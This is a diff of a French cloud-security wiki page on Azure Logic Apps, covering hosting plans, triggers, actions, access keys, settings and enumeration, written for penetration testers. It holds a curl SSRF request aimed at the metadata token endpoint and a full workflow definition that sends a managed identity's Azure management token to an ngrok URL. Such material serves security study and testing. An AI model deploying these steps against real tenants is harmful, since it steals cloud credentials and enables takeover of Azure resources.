-### Exemples - -- **Automatisation des pipelines de données** : Logic Apps peut automatiser **les processus de transfert et de transformation des données** en combinaison avec Azure Data Factory. Cela est utile pour créer des pipelines de données évolutifs et fiables qui déplacent et transforment des données entre divers magasins de données, comme Azure SQL Database et Azure Blob Storage, aidant ainsi dans les opérations d'analytique et d'intelligence d'affaires. -- **Intégration avec Azure Functions** : Logic Apps peut fonctionner aux côtés d'Azure Functions pour développer **des applications sophistiquées, déclenchées par des événements qui s'adaptent selon les besoins** et s'intègrent parfaitement avec d'autres services Azure. Un exemple de cas d'utilisation est d'utiliser une Logic App pour déclencher une Azure Function en réponse à certains événements, tels que des changements dans un compte de stockage Azure, permettant un traitement dynamique des données. - -### Visualiser une LogicAPP - -Il est possible de visualiser une LogicApp avec des graphiques : - -
- -ou de vérifier le code dans la section "**Vue du code de l'application Logic**". - -### Protection SSRF - -Même si vous trouvez la **Logic App vulnérable au SSRF**, vous ne pourrez pas accéder aux identifiants depuis les métadonnées car Logic Apps ne le permet pas. - -Par exemple, quelque chose comme ceci ne renverra pas le token : -```bash -# The URL belongs to a Logic App vulenrable to SSRF -curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v -``` ### Options d'hébergement Il existe plusieurs options d'hébergement : * **Consommation** -- **Multi-tenant** : fournit des ressources de calcul partagées, fonctionne dans le cloud public et suit un modèle de tarification à la consommation. Cela est idéal pour des charges de travail légères et rentables. Cela déploie un "Single Workflow". +- **Multi-tenant** : Cela fournit des ressources de calcul partagées, fonctionne dans le cloud public et suit un modèle de tarification à la demande. Cela est idéal pour des charges de travail légères et rentables. C'est ce que nous appellerons un "Workflow Unique". * **Standard** -- **Workflow Service Plan** : ressources de calcul dédiées avec intégration VNET pour le réseau et des frais par instance de plan de service de workflow. Il est adapté aux charges de travail plus exigeantes nécessitant un plus grand contrôle. -- **App Service Environment V3** ressources de calcul dédiées avec isolation complète et évolutivité. Il s'intègre également avec VNET pour le réseau et utilise un modèle de tarification basé sur les instances de service d'application au sein de l'environnement. -- **Hybride** conçu pour le traitement local et le support multi-cloud. Il permet des ressources de calcul gérées par le client avec accès au réseau local et utilise Kubernetes Event-Driven Autoscaling (KEDA). Il repose sur un environnement d'application conteneurisée connecté. +- **Plan de service de workflow** : Cela fournit des ressources de calcul dédiées avec intégration VNET pour le réseau et facture par instance de plan de service de workflow. Il est adapté aux charges de travail plus exigeantes nécessitant un plus grand contrôle. +- **Environnement de service d'application V3 :** Cela fournit des ressources de calcul dédiées avec une isolation et une évolutivité complètes. Il s'intègre également avec VNET pour le réseau et utilise un modèle de tarification basé sur les instances de service d'application au sein de l'environnement. +- **Hybride :** Cela est conçu pour le traitement local et le support multi-cloud. Il permet des ressources de calcul gérées par le client avec accès au réseau local et utilise l'autoscaling basé sur les événements Kubernetes (KEDA). Il repose sur un environnement d'application conteneurisée connecté. -### Caractéristiques clés -- **Stockage** : Les Logic Apps nécessitent un compte de stockage Azure externe pour stocker l'état du workflow, l'historique des exécutions… et doivent être dans le même groupe de ressources que la Logic App. -- **Réseautage et sécurité** : Les Logic Apps peuvent être configurées avec un accès public ou privé. Par défaut, l'application est ouverte à Internet mais peut être intégrée à un réseau virtuel Azure pour une connectivité isolée. -- **Application Insights** : La gestion des performances des applications (APM) via Azure Monitor Application Insights peut être activée pour suivre les performances, détecter les anomalies et fournir des analyses. -- **Contrôle d'accès** : Les Logic Apps prennent en charge les identités gérées par le système et les identités gérées par l'utilisateur. +## Workflows "Uniques" / Plan de Consommation -### Workflows "Single" +Un **workflow** est une séquence structurée d'étapes ou de tâches automatisées qui exécutent un processus ou un objectif spécifique. Il définit comment différentes actions, conditions et décisions interagissent pour atteindre un résultat souhaité, rationalisant les opérations et réduisant l'effort manuel. -Un **workflow** est une séquence structurée d'étapes ou de tâches automatisées qui exécutent un processus ou un objectif spécifique. Il définit comment différentes actions, conditions et décisions interagissent pour atteindre un résultat souhaité, rationalisant les opérations et réduisant l'effort manuel. Les workflows peuvent intégrer plusieurs systèmes, déclencher des événements et des règles, garantissant la cohérence et l'efficacité des processus. +> [!TIP] +> Le plan de consommation permet **de créer un workflow unique sans avoir besoin d'une Logic App** elle-même. -Azure Logic Apps offre la fonctionnalité de **créer un workflow unique sans avoir besoin d'une Logic App** elle-même. +### Déclencheurs et Actions -Chaque workflow a différents **déclencheurs**. Ces déclencheurs sont les étapes que suit le workflow. Chaque déclencheur a ses paramètres qui peuvent varier en fonction du type de déclencheur : -- Nom de connexion -- **Type d'authentification** qui peut être, Clé d'accès, Microsoft Entra ID, authentification de principal de service intégré et identité gérée par Logic Apps. +Les déclencheurs de workflow indiquent **quand le workflow doit commencer**. Les déclencheurs peuvent être un point de terminaison HTTP, un calendrier ou des dizaines d'événements différents d'Azure ou même d'applications externes. -Les déclencheurs ont également divers paramètres : -- Validation de schéma : Assure que les données entrantes suivent une structure prédéfinie. -- Contrôle de concurrence : Limite le nombre d'exécutions parallèles. -- Conditions de déclenchement : conditions qui doivent être remplies avant que le déclencheur ne s'active. -- Réseautage : Configure la taille des morceaux pour le transfert de données et permet de supprimer les en-têtes de workflow dans les réponses. -- **Sécurité** : Active **Secure Inputs/Outputs pour cacher** les données sensibles dans les journaux et les sorties. +Chaque workflow a différentes **actions**. Ces actions sont les étapes que le workflow suit. Selon l'action, différents paramètres seront disponibles pour la configurer, comme : -**Paramètres et connexions API :** +- **Nom de la connexion** : Connexion à utiliser avec laquelle l'action interagira. +- **Type d'authentification :** Les différentes options sont Clé d'accès, Microsoft Entra ID, authentification de principal de service intégré et identité gérée de Logic Apps. +- D'un point de vue en lecture seule, les données **d'authentification** sont toujours intéressantes car elles pourraient contenir des informations sensibles. +- D'un point de vue d'écriture, les données **d'authentification** sont toujours intéressantes car elles pourraient permettre d'utiliser les autorisations des identités gérées assignées. +- ... -Un workflow a différents paramètres tels que : -- Adresses IP entrantes autorisées : Ce paramètre vous permet de restreindre qui peut déclencher ou démarrer votre Logic App. Les options sont Toute IP, Seulement d'autres Logic Apps et Plages d'IP spécifiques. -- Compte d'intégration : Ici, vous pouvez lier votre Logic App à un compte d'intégration. -- Haut débit : Ce paramètre permet à votre Logic App de gérer plus de demandes rapidement. -- Conservation de l'historique des exécutions : pendant combien de temps l'historique des exécutions de votre Logic App est conservé. +Les actions ont également divers **paramètres**, qui dépendent de l'action elle-même. Certains des paramètres les plus courants sont : -Vous pouvez voir les différentes connexions API que le workflow a. À l'intérieur de chacune de ces connexions, elles ont différentes propriétés et la possibilité de modifier la connexion API où le type d'authentification peut être changé. +- **Politique de réessai** : Configure le nombre de réessais et l'intervalle entre eux. +- **Délai d'expiration** : Définit le temps maximum que l'action peut s'exécuter avant d'expirer. +- **Exécuter après** : Spécifie les conditions qui doivent être remplies avant que l'action ne s'exécute. +- **Validation de schéma** : Assure que les données entrantes suivent une structure prédéfinie. +- **Réseautage** : Configure comment gérer différents en-têtes. +- **Entrées/Sorties sécurisées** : Cela masquera les données d'entrée/sortie de l'historique d'exécution. +- ... -**Historique et versions :** -Il a l'option d'accéder à l'**historique** des différentes exécutions, il montre, Paramètres, Sortie, Paramètres et le Code. +### Politiques d'autorisation -Il a également l'option d'accéder à différentes **versions** du workflow, où vous pouvez vérifier le code et changer le workflow actuel avec une version antérieure de celui-ci. - -**Autorisation :** -Les Azure Logic Apps prennent en charge les **politiques d'autorisation** avec Entra ID pour sécuriser les déclencheurs basés sur des requêtes en exigeant un jeton d'accès valide. Ce jeton doit inclure des revendications spécifiques : +Ces workflows prennent en charge des **politiques d'autorisation** avec Entra ID pour sécuriser les déclencheurs basés sur des requêtes en exigeant un jeton d'accès valide. Ce jeton doit inclure des revendications spécifiques : - Émetteur (iss) pour vérifier le fournisseur d'identité - Public (aud) pour s'assurer que le jeton est destiné à la Logic App - Sujet (sub) pour identifier l'appelant - ID JWT (identifiant de jeton Web JSON) - Revendication personnalisée -Lorsqu'une requête est reçue, les Logic Apps valident le jeton par rapport à ces revendications et permettent l'exécution uniquement s'il correspond à la politique configurée. Cela peut être utilisé pour permettre à un autre locataire de déclencher le workflow ou de refuser le déclenchement d'autres sources, par exemple en n'autorisant le déclenchement que s'il provient de https://login.microsoftonline.com/. +Lorsqu'une requête est reçue, Logic Apps valide le jeton par rapport à ces revendications et permet l'exécution uniquement si elles correspondent à la politique configurée. Cela peut être utilisé pour permettre à un autre locataire de déclencher le workflow ou de refuser le déclenchement d'autres sources, par exemple en n'autorisant le déclenchement que s'il provient de https://login.microsoftonline.com/. -**Clés d'accès :** -Lorsque vous enregistrez un déclencheur basé sur une requête pour la première fois, les Logic Apps créent automatiquement un point de terminaison unique avec une signature SAS (créée à partir de la clé d'accès) qui accorde la permission d'appeler le workflow. Cette signature SAS est intégrée dans l'URL du déclencheur. Cette clé peut être régénérée et elle donnera une nouvelle signature SAS, mais les clés ne peuvent pas être listées. +### Clés d'accès -L'URL pour l'invoquer avec la clé d'accès : +Les workflows **génèrent 2 clés d'accès** lorsqu'ils sont créés. Ces clés sont utilisées pour authentifier et autoriser les requêtes au workflow. Les clés sont utilisées pour générer un jeton de signature d'accès partagé (SAS), qui est inclus dans l'URL de la requête. +Ainsi, lorsqu'un déclencheur de point de terminaison HTTP est créé, un **point de terminaison HTTP unique avec une signature SAS** qui accorde la permission d'appeler le workflow est généré. + +Ces **clés peuvent être régénérées** et une nouvelle URL SAS sera créée pour ces déclencheurs, mais les **valeurs des clés ne peuvent pas être accessibles**. + +Exemple d'une URL SAS pour invoquer un déclencheur : +``` https://.logic.azure.com:443/workflows//triggers//paths/invoke?api-version=&sp=%2Ftriggers%2F%2Frun&sv=&sig= +``` +### Paramètres et composants du flux de travail + +- **Option d'accès au déclencheur** : Ce paramètre vous permet de restreindre qui peut déclencher ou démarrer votre flux de travail. Les options sont Tout IP, Seulement un autre flux de travail et Plages IP spécifiques. +- **Compte d'intégration** : Liez votre flux de travail à un Compte d'Intégration. +- **Haut débit** : S'il est activé, cela permet de gérer plus de demandes en parallèle rapidement. +- **Conservation de l'historique des exécutions** : Cela indique le nombre de jours à conserver l'historique des exécutions. +- **Connexions API** : Cela montre les différentes connexions API que le flux de travail possède. À l'intérieur de chacune de ces connexions, elles ont différentes propriétés et la possibilité de modifier la connexion API où le type d'authentification peut être changé. +- **Historique** : Il a l'option d'accéder à l'**historique** des anciennes exécutions et d'obtenir des données : Paramètres, Sortie, Paramètres et le Code. +- **Versions** : Il a l'option d'accéder à différentes **versions** du flux de travail, où vous pouvez vérifier le code et changer le flux de travail actuel avec une version antérieure de celui-ci. +- **Identités gérées** : Il est possible d'assigner 1 identité gérée par le système et une identité gérée par l'utilisateur au flux de travail. + +### Fuite de jetons d'accès MI + +L'action HTTP dans un flux de travail peut être utilisée pour envoyer des données à un web externe. Dans les **Paramètres avancés** de l'action HTTP, il est possible de configurer le **Type d'authentification** comme **`Identité gérée`** et ensuite sélectionner l'**Identité gérée assignée** à utiliser (système ou utilisateur). + +De plus, il est possible d'indiquer dans l'**`Audience`** l'audience du JWT généré, qui pourrait être par exemple **`https://management.azure.com/`** pour pouvoir utiliser le jeton généré pour accéder à l'API de gestion Azure. + +> [!WARNING] +> Faire en sorte que l'action envoie la requête HTTP à un serveur contrôlé par un attaquant peut **fuir le jeton d'accès de l'identité gérée** assignée au flux de travail. + +> [!TIP] +> Un attaquant pourrait également utiliser d'autres types d'actions pour **accéder directement à d'autres services Azure** et effectuer des actions avec les autorisations de l'identité gérée. + +Ceci est le code d'un flux de travail qui expose un point de terminaison HTTP et utilise ensuite une action HTTP pour fuir le jeton d'accès vers l'URL configurée (ngrok dans ce cas) : + +
+Code du flux de travail +```json +{ +"definition": { +"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", +"contentVersion": "1.0.0.0", +"triggers": { +"When_a_HTTP_request_is_received": { +"type": "Request", +"kind": "Http" +} +}, +"actions": { +"HTTP": { +"runAfter": {}, +"type": "Http", +"inputs": { +"uri": "https://22b6-81-33-70-107.ngrok-free.app", +"method": "GET", +"authentication": { +"type": "ManagedServiceIdentity", +"audience": "https://management.azure.com/" +} +}, +"runtimeConfiguration": { +"contentTransfer": { +"transferMode": "Chunked" +} +} +} +}, +"outputs": {}, +"parameters": { +"$connections": { +"type": "Object", +"defaultValue": {} +} +} +}, +"parameters": { +"$connections": { +"type": "Object", +"value": {} +} +} +} +``` +
+ +## Logic Apps / Plan Standard + +### Différences avec les flux de travail "Unique" + +Les Logic Apps utilisent essentiellement un App Service en arrière-plan pour **héberger l'application logique qui peut héberger plusieurs flux de travail**. Cela signifie que l'application logique aura toutes les fonctionnalités d'un App Service et des flux de travail "Uniques". + +Quelques fonctionnalités clés seraient : + +- **Plan App Service** : Les Logic Apps dans le plan Standard sont hébergées sur un Plan App Service, il est donc possible d'utiliser toutes les fonctionnalités de l'App Service comme : +- **Restrictions Réseau** : Indiquer d'où elle est accessible. +- **Centre de Déploiement** : Déployer depuis des plateformes externes comme Github, Bitbucket, Azure Repos, Git externe et Git local. +- **Accès FTP** : Il est possible d'accéder aux fichiers de l'application logique via FTP. +- **Compte de Stockage** : L'application de service utilise un compte de stockage pour stocker des informations. +- **Variables d'environnement & Paramètres d'application** : Il est possible de configurer des variables d'environnement et des paramètres d'application (et de trouver des informations sensibles comme des clés d'accès au compte de stockage). +- ... +- **Paramètres** : Les paramètres vous permettent de gérer des valeurs qui varient entre le développement, le test et la production. Cela vous permet de concevoir d'abord des flux de travail, puis d'ajuster facilement les paramètres spécifiques à l'environnement par la suite. +- **Ressources Dédiées** : Les Logic Apps dans le plan Standard ont des ressources dédiées. +- **Multiples Flux de Travail** : Cela permet de créer plusieurs flux de travail. + +Pour plus d'infos sur les App Services, consultez : + +{{#ref}} +../az-services/az-app-services.md +{{#endref}} + ### Énumération @@ -203,17 +279,19 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "